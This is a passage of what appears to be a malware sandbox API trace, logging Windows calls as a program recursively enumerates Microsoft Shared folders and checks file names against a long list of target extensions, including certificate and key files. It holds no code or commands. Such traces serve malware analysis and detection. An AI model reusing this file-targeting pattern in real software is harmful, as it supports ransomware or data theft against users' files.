lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".onepkg") returned 7 [0038.082] lstrcmpiW (lpString1=".onepkg", lpString2="enu.xml") returned -1 [0038.082] lstrlenW (lpString=".onetoc2") returned 8 [0038.082] lstrcmpiW (lpString1=".onetoc2", lpString2="menu.xml") returned -1 [0038.082] lstrlenW (lpString=".opt") returned 4 [0038.082] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".oqy") returned 4 [0038.082] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0038.082] lstrlenW (lpString=".orf") returned 4 [0038.083] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".p12") returned 4 [0038.083] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".p7b") returned 4 [0038.083] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".p7c") returned 4 [0038.083] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pam") returned 4 [0038.083] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pbm") returned 4 [0038.083] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pct") returned 4 [0038.083] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pcx") returned 4 [0038.083] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pdd") returned 4 [0038.083] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pdf") returned 4 [0038.083] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pdp") returned 4 [0038.083] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pef") returned 4 [0038.083] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pem") returned 4 [0038.083] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pff") returned 4 [0038.083] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pfm") returned 4 [0038.083] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pfx") returned 4 [0038.083] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".pgm") returned 4 [0038.083] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0038.083] lstrlenW (lpString=".php") returned 4 [0038.083] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0038.084] lstrlenW (lpString=".php3") returned 5 [0038.084] lstrcmpiW (lpString1=".php3", lpString2="u.xml") returned -1 [0038.084] lstrlenW (lpString=".php4") returned 5 [0038.084] lstrcmpiW (lpString1=".php4", lpString2="u.xml") returned -1 [0038.084] lstrlenW (lpString=".php5") returned 5 [0038.084] lstrcmpiW (lpString1=".php5", lpString2="u.xml") returned -1 [0038.084] lstrlenW (lpString=".phtml") returned 6 [0038.084] lstrcmpiW (lpString1=".phtml", lpString2="nu.xml") returned -1 [0038.084] lstrlenW (lpString=".pict") returned 5 [0038.084] lstrcmpiW (lpString1=".pict", lpString2="u.xml") returned -1 [0038.084] lstrlenW (lpString=".pl") returned 3 [0038.084] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0038.084] lstrlenW (lpString=".pls") returned 4 [0038.084] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0038.084] lstrlenW (lpString=".pm") returned 3 [0038.084] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0038.084] lstrlenW (lpString=".png") returned 4 [0038.084] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0038.084] lstrlenW (lpString=".pnm") returned 4 [0038.084] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0038.084] lstrlenW (lpString=".pot") returned 4 [0038.084] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0038.084] lstrlenW (lpString=".potm") returned 5 [0038.084] lstrcmpiW (lpString1=".potm", lpString2="u.xml") returned -1 [0038.084] lstrlenW (lpString=".potx") returned 5 [0038.084] lstrcmpiW (lpString1=".potx", lpString2="u.xml") returned -1 [0038.084] lstrlenW (lpString=".ppa") returned 4 [0038.085] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".ppam") returned 5 [0038.085] lstrcmpiW (lpString1=".ppam", lpString2="u.xml") returned -1 [0038.085] lstrlenW (lpString=".ppm") returned 4 [0038.085] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".pps") returned 4 [0038.085] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".ppsm") returned 5 [0038.085] lstrcmpiW (lpString1=".ppsm", lpString2="u.xml") returned -1 [0038.085] lstrlenW (lpString=".ppt") returned 4 [0038.085] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".pptm") returned 5 [0038.085] lstrcmpiW (lpString1=".pptm", lpString2="u.xml") returned -1 [0038.085] lstrlenW (lpString=".pptx") returned 5 [0038.085] lstrcmpiW (lpString1=".pptx", lpString2="u.xml") returned -1 [0038.085] lstrlenW (lpString=".prn") returned 4 [0038.085] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".ps") returned 3 [0038.085] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0038.085] lstrlenW (lpString=".psb") returned 4 [0038.085] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".psd") returned 4 [0038.085] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".pst") returned 4 [0038.085] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".ptx") returned 4 [0038.085] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".pub") returned 4 [0038.085] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".pwm") returned 4 [0038.085] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".pxr") returned 4 [0038.085] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0038.085] lstrlenW (lpString=".py") returned 3 [0038.085] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0038.086] lstrlenW (lpString=".qt") returned 3 [0038.086] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0038.086] lstrlenW (lpString=".r3d") returned 4 [0038.086] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0038.086] lstrlenW (lpString=".raf") returned 4 [0038.086] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0038.086] lstrlenW (lpString=".rar") returned 4 [0038.086] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.086] lstrlenW (lpString=".raw") returned 4 [0038.086] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0038.086] FindNextFileW (in: hFindFile=0x7cba50, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0038.086] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.087] FindNextFileW (in: hFindFile=0x7cba90, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0038.434] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x45ff1f4, cFileName="..", cAlternateFileName="")) returned 1 [0038.434] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x45ff1f4, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0038.434] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0038.435] FindClose (in: hFindFile=0x7cb990 | out: hFindFile=0x7cb990) returned 1 [0038.435] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ea00b8 | out: hHeap=0x790000) returned 1 [0038.435] FindNextFileW (in: hFindFile=0x7cba10, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0038.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW") returned 56 [0038.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x45ff1f4, cFileName=".", cAlternateFileName="")) returned 0x7cb990 [0038.435] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x45ff1f4, cFileName="..", cAlternateFileName="")) returned 1 [0038.435] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x45ff1f4, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0038.435] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0038.435] lstrlenW (lpString=".1cd") returned 4 [0038.435] FindClose (in: hFindFile=0x7cb990 | out: hFindFile=0x7cb990) returned 1 [0038.435] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ea00b8 | out: hHeap=0x790000) returned 1 [0038.435] FindNextFileW (in: hFindFile=0x7cba10, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0038.435] FindClose (in: hFindFile=0x7cba10 | out: hFindFile=0x7cba10) returned 1 [0038.435] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e50090 | out: hHeap=0x790000) returned 1 [0038.436] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45ff58c | out: lpFindFileData=0x45ff58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0038.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr") returned 62 [0038.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba10 [0038.488] FindNextFileW (in: hFindFile=0x7cba10, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.488] FindNextFileW (in: hFindFile=0x7cba10, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0038.488] lstrlenW (lpString="MSCDM.DLL") returned 9 [0038.488] lstrlenW (lpString=".1cd") returned 4 [0038.488] FindClose (in: hFindFile=0x7cba10 | out: hFindFile=0x7cba10) returned 1 [0038.488] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e50090 | out: hHeap=0x790000) returned 1 [0038.488] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45ff58c | out: lpFindFileData=0x45ff58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0038.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo") returned 53 [0038.489] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba10 [0038.489] FindNextFileW (in: hFindFile=0x7cba10, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.489] FindNextFileW (in: hFindFile=0x7cba10, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0038.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US") returned 59 [0038.489] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb990 [0038.490] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.490] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0038.490] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0038.490] lstrlenW (lpString=".1cd") returned 4 [0038.490] FindClose (in: hFindFile=0x7cb990 | out: hFindFile=0x7cb990) returned 1 [0038.490] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4ea00b8 | out: hHeap=0x790000) returned 1 [0038.490] FindNextFileW (in: hFindFile=0x7cba10, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0038.490] lstrlenW (lpString="msinfo32.exe") returned 12 [0038.490] lstrlenW (lpString=".1cd") returned 4 [0038.490] FindClose (in: hFindFile=0x7cba10 | out: hFindFile=0x7cba10) returned 1 [0038.491] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e50090 | out: hHeap=0x790000) returned 1 [0038.491] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45ff58c | out: lpFindFileData=0x45ff58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0038.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14") returned 55 [0038.491] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cba10 [0038.491] FindNextFileW (in: hFindFile=0x7cba10, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.491] FindNextFileW (in: hFindFile=0x7cba10, lpFindFileData=0x45ff310 | out: lpFindFileData=0x45ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0038.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033") returned 60 [0038.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb990 [0038.492] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.492] FindNextFileW (in: hFindFile=0x7cb990, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0038.492] lstrlenW (lpString="ACEINTL.DLL") returned 11 [0038.492] lstrlenW (lpString=".1cd") returned 4 [0047.747] FindClose (in: hFindFile=0x7cb910 | out: hFindFile=0x7cb910) returned 1 [0047.752] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e50090 | out: hHeap=0x790000) returned 1 [0047.752] FindNextFileW (in: hFindFile=0x7cb9d0, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHS", cAlternateFileName="")) returned 1 [0047.752] lstrlenW (lpString="Spelling.CHS") returned 12 [0047.752] lstrlenW (lpString=".1cd") returned 4 [0047.754] FindClose (in: hFindFile=0x7cb9d0 | out: hFindFile=0x7cb9d0) returned 1 [0047.754] HeapFree (in: hHeap=0x790000, 